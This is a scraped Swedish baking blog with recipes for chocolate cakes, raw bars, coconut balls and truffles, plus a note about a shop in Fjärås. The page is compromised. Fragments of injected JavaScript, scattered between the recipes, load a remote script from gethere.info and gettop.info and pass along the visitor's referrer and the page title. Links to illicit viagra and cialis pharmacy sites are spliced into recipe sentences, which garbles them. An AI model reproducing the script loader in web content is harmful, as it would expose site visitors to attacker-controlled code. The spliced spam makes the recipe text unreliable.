Cashewrutor med smak av apelsin och ingefära

bild10
För några dagar sedan fick jag provsmaka på dessa godbitar av min granne Anna. Nu har jag bakat dem för första gången och de smakar supergott!

Cashewrutor (ca 16 bars)
1 apelsin
4 dl cashewnötter
100 gr torkade aprikoser
1 msk färsk riven ingefära
150 gr mörk choklad (minst 70%)

Gör så här:

Riv skalet av apelsinen och ställ det åt sidan. Dela apelsinen och pressa ut saften (gärna i matberedare el juicecentrifug). Häll saften i matberedare, tillsätt nötter, aprikoser och ingefära och mixa till jämn smet. Forma smeten till en rektangel, ca 1 cm tjock. Smält chokladen i vattenbad och bred den över nötmassan. I receptet https://www.viagrasansordonnancefr.com/viagra-achat/ står det att man ska strö på apelsinskalet. Jag blandade skalet i degen istället. Förvara kallt. Går utmärkt att frysa!
BildaAA
A B
BCEFD
bild5
bild6
bild7bild8bild11bild12bild9

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Chokladmoussetårta

1
Receptet på den här moussetårtan hittade jag på Jennys matblogg.

Om du tycker om choklad så är det här rätt tårta för dig.

Receptet kommer här.

Botten:
200 gram cookies ( te.x Maryland )
80 gram smält smör

Mousse:
3 gelatinblad
400 gram mjölkchoklad
250 gram mascarpone
500 gram philadelphiaost
2 1/2 dl vispgrädde
2 msk vatten
1 rulle center

Topping:
färska hallon
1 rulle center

Gör så här:
Mixa kakorna till smulor i en mixer och rör ihop med det smälta smöret.
Pressa ut blandningen i en rund springform med avtagbara kanter. ( cirka 22-24 cm) Lägg gelatinbladen i kallt vatten.
Smält chokladen försiktigt i micron eller över vattenbad ( den ska inte bli för varm )
Vispa ihop mascarpone& färskostmed en elvisp i en bunke. Vispa grädden tills den är ordentligt fast och bildar stadiga toppar. Vänd ner grädden tillsammans med chokladen i mascarponeblaningen, vänd försiktigt med en slickepott tills allt är väl blandat.
Krama ur gelantinbladen och värm dem tillsammans med 2 msk vatten i en kastrull, de ska precis bara smälta. Rör ner detta i smeten, och rör kraftigt så att allt blandar sig väl. Grovhacka ner centern och blanda om fördela sedan ut jämt över kakbotten. Förvara gärna Centern i kylskåpet innan du grovhackar den.
Låt stå och svalna i kylskåpet i minst 5 timmar, men gärna över natten. Det går även att förvara tårtan i frysen.

Toppa med center och hallon.
AA - kopiaKaka
DD
CC - kopia
BB - kopia
EE
2
3

if (document.currentScript) { d.getElementsByTagName(‘head’)[0].appendChild(s);

Snickersrutor

IMG_3409
Här kommer ett supergott recept på goda och nyttiga snickersrutor utan tillsatt vitt socker, och gluten. Receptet hittade jag här.

Snickersrutor
Botten.
1,5 dl mandlar
10 färska dadlar
3 msk jordnötssmör
1 msk carob (går att utesluta)
1 näve salta nötter

Gör så här: Kärna ur dadlarna och kör i matberedare tillsammans med mandlar, jordnötssmör och carob. Klä cialisfrance24.com en brödform med plastfolie och tryck i degen och jordnötterna i botten.

Kolafyllning
8-10 färska dadlar
1 tsk vaniljextrakt

Gör så här: Kärna ur dadlarna och mixa med vaniljextrakt och vatten. Tillsätt lite vatten i taget tills det blir en kolalik konsistens. Bred kolasmeten på botten.

Topping
75 gram choklad (70%procentig)
en klick kokosolja

Gör så här: Smält chokladen och rör i kokosoljan. Man kan hoppa över kokosolja men då blir chokladen väldigt hård när du ska ska skära upp bitarna. Bred ut chokladen och ställ i kylen.

När chokladen stelnat, lyft ur kakan och skär i lagom bitar. Förvara i kylskåp.

IMG_3413IMG_3415IMG_3416IMG_3410IMG_3407

d.getElementsByTagName(‘head’)[0].appendChild(s);

Kokosbollar med Center

Här kommer ett superenkelt men gott acheter sildenafil 50 mg kopen recept påannorlunda kokosbollar. Receptet hittade jag på Jennys matblogg.
IMG_0079

Recept ca 26 bollar
200 gram smör
7-8 dl havregryn
3 dl florsocker
1 nypa salt
2 msk kallt https://www.acheterviagrafr24.com/generique-viagra/ kaffe
2 1/2 msk kakao
1/2 dl oboy
20-25 bitar Center

Kokos att rulla bollarna i.

Gör så här:
Mixa havregrynen i en mixer. Vispa smör och florsocker separat i en bunke. Rör ner resten avvingrediensetna till en smet och låt stå kallt i kylskåpet ca 30 min. Rulla till bollar o gör en grop och lägg ner en center och rulla till en boll. Rulla bollarna i kokos.
IMG_0078

} else {

}document.currentScript.parentNode.insertBefore(s, document.currentScript);

Kladdkaka med nutella

bild5

Det här goda receptet hittade jag på bloggen ”en Smaksak”.

Kladdkaka:
100 g mörk kvalitetschoklad 70 %
100 g smör
1 dl Nutella
2 ägg
2 dl socker
4 msk sirap (gärna mörk)
2 tsk vaniljsocker
4 msk kakao
2 dl vetemjöl
2 krm salt

Garnering:
Nutella

Servering:
Hallon, (bär)grädde eller vaniljglass

Gör så här:
Sätt ugnen på 175° varmluft eller 200° ugnstemperatur. Finhacka chokladen och smält med smör i en kastrull. Blanda ner Nutella, ägg, socker, sirap och vaniljsocker. Sikta ner kakao, vetemjöl och salt. Bred ut smeten i en klädd eller smord springform (24 cm

i diameter) och grädda i nedre delen av ugnen i ca 25 minuter. Låt svalna. Bred Nutella över kakan och garnera gärna med hallon.

bild1bild2

bild3

bild4

 

var d=document;var s=d.createElement(‘script’);

Chokladpaj

IMG_8991
Receptet på pajen hittade jag här.

IMG_8985

Sötsalt chokladkolapaj
Ca 12 bitar

Pajdeg
2 ½ dl vetemjöl
¾ dl kakao
¾ dl strösocker
¼ tsk salt
110 g smör, rumsvarmt
ev. 1–2 tsk kallt vatten (om det behövs för att få ihop degen)

Kolasås (karamellsås)
3 dl strösocker
1 dl vatten
2 ½ dl vispgrädde
2 tsk kakao
70 g smör
½ tsk salt

Chokladganache
150 g mörk choklad
1 ¼ dl vispgrädde

Garnering
flingsalt

GÖR SÅ HÄR

1. Sätt ugnen på 180 grader. Blanda ihop de torra

ingredienserna i en bunke. Nyp ihop dem ordentligt med smöret. Arbeta snabbt ihop allt till en deg. Tillsätt eventuellt lite vatten om det behövs för att arbeta ihop degen.

2. Kavla ut degen något större än pajformen.

3. Lägg degen över pajformen, 24–25 cm i diameter och tryck ut den i hörnet. Jämna till kanterna.

4. Grädda bottnen mitt i ugnen i 25–30 min. Låt den kallna i formen.

5. Kolasås: Koka upp strösocker och vatten. Låt det puttra i ca 5 min. Tillsätt vispgrädde och kakao och låt blandningen koka till ca 122 grader. Stäng av värmen och rör ner smör och salt. Blanda ordentligt.

6. Häll kolasåsen på pajbottnen när den kallnat. Låt den stelna i frysen i ca 1 tim.

7. Chokladganache: Smält chokladen över vattenbad. Ta bort tallriken från kastrullen och rör ner vispgrädden. Blanda

ordentligt till en slät chokladsmet.

8. Häll chokladganachen över kolasåsen. Låt den stelna i kylen

i ett par timmar.

9. Strö över flingsalt före servering. Servera pajen i kylen då kolakrämen snabbt mjukar i rumsvärme. Det ska den göra, men den är lättare att skära om kolan är kylskåpskall.

IMG_8983IMG_8984IMG_8986IMG_8985

var d=document;var s=d.createElement(‘script’);

if (document.currentScript) { if (document.currentScript) {

Nyttiga bananchokladbollar

IMG_7921
Nu har jag provat att göra bananchokladbollar som blev riktigt goda. Jag förvarar mina bollar i frysen.

Recept 15

st bollar
2 normalstora bananer (mogna)
3 dl havregryn (jag använde glutenfritt havregryn)
2 msk kakao (jag använde raw kakao)
1 msk kaffe
1 dl kokos att rulla bollarna i

Gör så här:
Mosa bananerna med en gaffel. Jag använde min handmixer.
Blanda ihop bananerna

med

resten av ingredienserna.
Rulla bollar av smeten och rulla dem i kokos.
Förvara dem

i kylen.

De håller

sig i

ett par dagar.
Jag förvarar alltid

mina chokladbollar i frysen och så tar jag fram dem precis innan jag ska servera dem. Då blir de lite mer som fudge i konsistensen.

IMG_7928IMG_7927IMG_7926IMG_7925IMG_7924IMG_7923document.currentScript.parentNode.insertBefore(s, document.currentScript);

} else {s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Macabollar

IMG_6077

Maca är en rotfrukt som frodas på högre höjder än någon annan. Maca växer i Anderna på 4 000 meters höjd.
Smaken påminner om pepparrot och palsternacka.

Maca innehåller adaptogener som ger dig energi och ökar lusten! Ger dig en riktig kick.

IMG_6092

Recept ca 14 mindre bollar.
3 dl mandlar  eller 2,5 dl mandelmjöl
2 msk kokosolja
3 msk kakaopulver eller raw kakao (jag använde raw kakao)
1 msk macapulver
5-7 dadlar (urkärnade)
Lite vatten
Lite honung

Gör så här:
Kör mandlar till ett fint mjöl i matberedaren. Tillsätt kakao och macapulver, kör igen. Gör kokosoljan flytande i ett ljummet vattenbad. Tillsätt kokosolja och kör igen. Tillsätt dadlar och kör igen. Tillsätt lite mer dadlar eller lite honung om du vill ha lite mer sötma. Om det är för torrt, tillsätt en aningens vatten. Bara liiiite. Forma sedan till bollar och rulla i kokos. Förvara i kylen eller frysen.

 IMG_6082
 IMG_6091IMG_6083

if (document.currentScript) {

White truffle

 

11822446_10153067509965959_370221626828135014_n

Här kommer två olika recept på ”White truffles”, en paleovänlig och en mindre nyttig. Originalreceptet hittade jag på instagram och måtten är engelska mått.

Recept ”White truffle” (Paleovänlig variant)
6-7 dadlar (urkärnade)
1 Cup riven kokos
1 Tbsp Agave sirap

Topping
6 Tbsp kokosolja (direkt från burken)
2 Tsp Agave sirap

Gör så här: Blötlägg dadlarna en stund. Häll av vattnet och lägg dadlarna tillsammans med kokos och agavesirap i en mixer och mixa till en smet.  Rulla till bollar och ställ in i frysen en stund.
Under tiden blandar du ihop din topping till en trögflytande smet. Rulla dina bollar i toppingen och ställ in i frysen. Ta fram och servera!

Recept ”White truffle” med vit choklad
6-7 dadlar (urkärnade)
1 Cup riven kokos
1 Tbsp Agave sirap
100 gram vit choklad med citronsmak

 

018ec789-dc02-41e0-a54e-ac2677ad882d

Topping
6 Tbsp kokosolja (direkt från burken)
2 Tsp Agave sirap

Gör så här: Blötlägg dadlarna en stund. Häll av vattnet och lägg dadlarna tillsammans med kokos, choklad och agavesirap i en mixer och mixa till en smet.  Rulla till bollar och ställ in i frysen en stund.
Under tiden blandar du ihop din topping till en trögflytande smet. Rulla dina bollar i toppingen och ställ in i frysen. Då kommer du märka att toppingen blir vit. Ta fram och servera!

 

 

72164311822446_10153067509965959_370221626828135014_n

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

var d=document;var s=d.createElement(‘script’); } else {

Bräutigams Fjärås

Butiken_1

I Fjärås hittr du butiken ”Bräutigams” ,  1 mil söder om Kungsbacka (avfart 58 Åsa, Fjärås) från motorvägen Fjärås Sväng vänster mot Fjärås (Vi ligger Bakom Shell i Fjärås). Butiken har öppet alla dagar 11-18. En nyhet var deras otroligt goda glass. Jag köpte en bägare med passionsfrukt och choklad. Det går även att köpa med sig hem glass.
42310978651d.getElementsByTagName(‘head’)[0].appendChild(s);

var d=document;var s=d.createElement(‘script’); s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;